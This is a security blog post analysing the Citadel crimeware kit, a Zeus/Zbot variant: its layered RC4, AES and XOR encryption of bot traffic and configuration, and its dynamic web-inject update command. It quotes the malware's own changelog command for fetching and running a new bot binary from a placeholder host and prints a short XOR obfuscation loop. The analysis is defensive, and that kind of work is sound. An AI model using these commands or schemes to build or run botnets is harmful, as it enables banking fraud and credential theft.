Ever since the source code of the Zeus crimeware kit, also known as Zbot, was leaked onto the internet in May 2011, many new variants have appeared. These have typically added new features and improved on the old code.
One particularly prevalent example is Citadel.
At its core, Citadel works like the original Zbot. It comes as a kit that includes a malware builder tool and a collection of server-side components. The builder is used to create the bot malware (an EXE file) that is sent out to spread infection:
There are several improvements that make Citadel stand out, and give credence to the authors’ attempts to make Citadel the crimeware kit of choice for cybercrooks:
- Rapid development of new features, such as video capture and DNS redirection.
- A built-in Customer Relationship Management (CRM) system so that problems are addressed quickly and effectively.
Citadel has been through several significant releases, most recently an upgrade to version 1.3.5.1 in October 2012.
In the changelist of that release were two entries that particularly caught my eye:
The internal encryption algorithm has been completely redesigned. The number of successful executions will be many times higher, and the bots will live longer. To upgrade bots to the new version, perform the command user_execute http://www.host.com/1351.exe. The RC4 key must match.
WebInjects. This module is designed for fast updates using injection into the browser. The module allows you to install any injection code to a specific bot ID, country or botnet just in a few minutes, without editing the configuration file. The module is controlled via the admin console.
These entries claim that there have been significant improvements to the internal encryption algorithms to beef up the security of the botnet, and that there is a new feature that allows dynamic updating of the code that is injected into web browsers.
We will first examine the changes to the internal encryption algorithms.
The original Zbot used encryption in several places to make aspects of its operation harder to detect. Notably, the configuration file and the HTTP communication with the command and control server were encrypted.
Version 2.0.8.9 of Zeus/Zbot (the one that was leaked) carried out command and control communication using HTTP POST requests.
The POST data was encrypted with the RC4 algorithm, using a key shared by the bot executable and the server. The configuration file was encrypted with RC4 but also had an XOR based encryption on top referred to in the source as “visualEncrypt” (“visualDecrypt” for decryption) which can be represented thus:
for x in range(len(post_data)-1): byte = (post_data[x] & 0xff) ^ (post_data[x+1] & 0xff) post_data[x+1] = byte
One major complaint about the operation of the original Zbot malware was that the configuration file was easy to grab.
When run, the bot sent an HTTP GET request to a hardcoded URL. This GET request was all that was needed to fetch the encrypted configuration file. With the URL and the decryption key embedded in each variant of the bot, it was easy to pull out the important URLs and track each individual botnet in the Zbot family.
Citadel attempts to protect its configuration by requiring that a specially-crafted HTTP POST request be made before the configuration file can be fetched. This POST data is encrypted, and several tweaks have been made to the encryption process.
Here is an overview:
This overall process has remained the same through Citadel revisions, but the specifics of the encryption algorithms have changed.
For example the process for version 1.3.3.1 broadly involves applying visualEncrypt, then RC4.
The RC4 key is derived by taking the MD5 of an embedded hex string (known as the LOGIN_KEY), encrypting the result with RC4 using an embedded RC4 key, then sending the result through the standard RC4 key schedule routine to produce the final RC4 key:
By version 1.3.4.5 the encryption process had been further complicated.
Each RC4 encryption now included an extra XOR operation, using the LOGIN_KEY value. As an extra complication, the new RC4 key was further permuted based on a four-byte salt:
In version 1.3.5.1 there has been no further modification to this area, but the process to decrypt the configuration file has changed.
To decrypt the configuration file in version 2.0.8.9, you decrypted the data with RC4 using the embedded RC4 key, then applied the “visualDecrypt” algorithm. Citadel made some changes to this procedure.
Although RC4 is still involved, the main algorithm that provides confidentiality is AES. The configuration file is decrypted with AES and then with “visualDecrypt”. The AES key is derived by taking the MD5 of the LOGIN_KEY and encrypting the result with RC4, using the embedded RC4 key:
By version 1.3.4.5 the AES key generation had an additional stage: a final XOR with LOGIN_KEY:
In 1.3.5.1 the key generation remains the same but an extra XOR is applied to each block after AES has been applied, using a new, embedded 128-bit key:
As we can see, the only major encryption change in the latest version is that yet another XOR layer has been added on top of AES. (Adding weak encryption to strong doesn’t actually increase security, so this belies the authors’ claim to have “completely redesigned” the internal encryption algorithm.)
The second major new feature in 1.3.5.1 is the dynamic web injection feature.
Zbot has always had the ability to inject code into web pages as you browse. This feature has traditionally been used to add extra fields into web forms, such as asking for a PIN along with a credit card number.
Writing the HTML and JavaScript code for web injects is something of a specialist skill, particularly when it comes to orchestrating transfers out of victim’s bank accounts. Indeed, injects are frequently sold on the underground for other criminals to integrate into their Zbot or Citadel crimeware.
In the past, these web injects had to be built into the configuration file itself, so updating them was a slow and clumsy process. The latest release of Citadel simplifies this by providing a separate, fast-track update process solely for web injects.
This feature is implemented through a new entry in the configuration file and a new command that is issued to the bot from the server.
Citadel malware (and Zeus/Zbot) regularly reports back to its command and control servers using an HTTP POST request to a URL defined in the configuration file. (This is known as the “Drop Zone URL”).
The uploaded information includes any data that the bot has gathered since the previous update.
When the server acknowledges the POST request, it optionally includes a list of commands to tell the bot EXE what to do next. Each item in the command list consists of a 16-byte script ID (this uniquely identifies the command), the command name and any command arguments.
The new dynamic web inject feature is triggered by a command called webinjects_update, which takes two arguments. The first is “disabled”, “single” or “dual” and the second is a path name. A typical command looks like this:
The first argument dictates how these new web injects will be used. “Dual” means this web inject file should be used in conjunction with any existing web injects contained in the configuration file; “single” means to use this web inject file instead of the data in the configuration file; and “disabled” turns web injection off. The second argument is the full path to the server file that contains the web inject code.
When the bot receives this command it issues an HTTP POST in order to request the newly-specified web inject file; the server replies with the relevant file. The POST and the reply are formatted and scrambled using the encryption scheme described above. A simple web inject looks like this:
Having made a closer inspection of these two new Citadel features, two conclusions come to mind:
- The webinjects_update command shows that the Citadel authors are continuing to innovate, improving the overall quality of their product by adding functionality that none of their competitors offer.
- The encryption modifications are very minor, so marketing claims should always be taken with a pinch of salt, especially when they are made by cybercrooks.
Of course, the best way to boost your protection against Citadel, and indeed against all other Zbot variants, is with defence in depth.
Keep up to date with patches. Watch out for software from untrusted sources. Think before you click in emails.
And reduce the opportunity for crimeware perpetrators to thieve space on your servers.
Don’t put your servers online and then set about securing them. Get your defences in place first, and only then go live.
–James Wyke
Follow @nakedsecurityLeave a reply
